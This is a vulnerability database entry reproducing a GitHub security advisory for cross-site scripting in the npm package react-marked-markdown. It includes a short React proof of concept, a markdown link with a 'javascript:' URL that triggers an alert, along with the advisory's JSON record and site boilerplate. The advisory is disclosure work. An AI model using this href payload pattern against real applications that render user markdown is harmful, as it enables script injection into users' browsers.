GHSA-M7QM-R2R5-F77Q
Vulnerability from github – Published: 2020-09-01 20:43 – Updated: 2021-09-24 20:35
VLAI
Summary
Cross-Site Scripting in react-marked-markdown
Details
All versions of react-marked-markdown are vulnerable to cross-site scripting (XSS) via href attributes. This is exploitable if user is provided to react-marked-markdown
Proof of concept:
import React from 'react'
import ReactDOM from 'react-dom'
import { MarkdownPreview } from 'react-marked-markdown'
ReactDOM.render(
<MarkdownPreview
markedOptions={{ sanitize: true }}
value={'[XSS](javascript: alert`1`)'}
/>,
document.getElementById('root')
)
Recommendation
No fix is currently available for this vulnerability. It is our recommendation to not install or use this module at this time if you allow user input into href values.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "react-marked-markdown"
},
"ranges": [
{
"events": [
{
"introduced": "0.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2020-08-31T18:32:03Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "All versions of `react-marked-markdown` are vulnerable to cross-site scripting (XSS) via `href` attributes. This is exploitable if user is provided to `react-marked-markdown`\n\nProof of concept:\n\n```\nimport React from \u0027react\u0027\nimport ReactDOM from \u0027react-dom\u0027\nimport { MarkdownPreview } from \u0027react-marked-markdown\u0027\n\nReactDOM.render(\n\u003cMarkdownPreview\nmarkedOptions={{ sanitize: true }}\nvalue={\u0027[XSS](javascript: alert`1`)\u0027}\n/\u003e,\ndocument.getElementById(\u0027root\u0027)\n)\n```\n\n\n## Recommendation\n\nNo fix is currently available for this vulnerability. It is our recommendation to not install or use this module at this time if you allow user input into href values.\n",
"id": "GHSA-m7qm-r2r5-f77q",
"modified": "2021-09-24T20:35:29Z",
"published": "2020-09-01T20:43:48Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Vincent-P/react-marked-markdown/issues/61"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/344069"
},
{
"type": "PACKAGE",
"url": "https://github.com/Vincent-P/react-marked-markdown"
},
{
"type": "WEB",
"url": "https://www.npmjs.com/advisories/668"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "Cross-Site Scripting in react-marked-markdown"
}
Loading…
Loading…
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Loading…
Loading…